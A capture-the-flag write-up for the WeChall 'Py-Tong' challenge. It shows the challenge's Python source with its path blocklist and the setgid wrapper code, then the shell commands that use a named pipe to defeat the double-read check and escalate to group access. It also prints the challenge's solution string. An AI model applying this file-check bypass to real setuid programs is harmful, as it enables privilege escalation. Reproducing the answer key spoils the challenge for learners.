WeChall - Py-Tong

Challenge

Py-Tong is a Warchall-backed Python exploitation challenge. The WeChall page exposes the Python source, but the real solution is printed only by the pytong wrapper binary on the Warchall SSH box, because the wrapper sets the effective group needed to read the solution file.

Source

Live source fetch from index.php?highlight=christmas shows the essential logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SOLUTION = '/home/level/12_pytong/pytong_solution.php'

def main(filepath):
if any(ipattern in filepath for ipattern in ('proc', 'uptime', 'tmp', 'random', 'full', 'zero', 'null')):
raise ValueError('nononono: hacking is not allowed')

if not os.path.exists(filepath):
raise ValueError('sorry file "%s" does not exists' % filepath)

with open(filepath) as gizmore:
jjk = gizmore.read()

if not os.path.exists(filepath):
print('You are l33t')
return True
else:
with open(filepath) as spaceone:
kwisatz = spaceone.read()

if jjk != kwisatz:
print('You are a winner')
return True

raise ValueError('fail...')

If main() returns True, the wrapper reads and prints the solution file.

The wrapper binary (wrap.c) sets real UID/GID to effective UID/GID (setgid bit on the binary grants group level12 read access to the solution file):

1
2
3
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execle(PYTHON, PYTHON, CHALLENGE, argv[1], (char *)0, (char *)0);

Solution

The page hints that a race condition works, but is not required. A FIFO (named pipe) is the clean route: it passes os.path.exists(), and each open(...).read() receives different content from a separate writer.

Key pitfall: paths containing tmp, proc, random, full, zero, or null are blocked — do not create the FIFO under /tmp/.

On the Warchall SSH host:

1
2
3
4
5
6
7
8
9
10
$ cd /home/level/12_pytong
$ mkfifo ~/pf
$ (echo aaa > ~/pf && echo bbb > ~/pf) &
$ ./pytong ~/pf
opening /home/user/<username>/pf
closed
You are a winner
<?php
return 'KnowYourFilesChiller';
?>

The first open().read() gets aaa, the second gets bbb, so jjk != kwisatz and the program enters the success branch.

KnowYourFilesChiller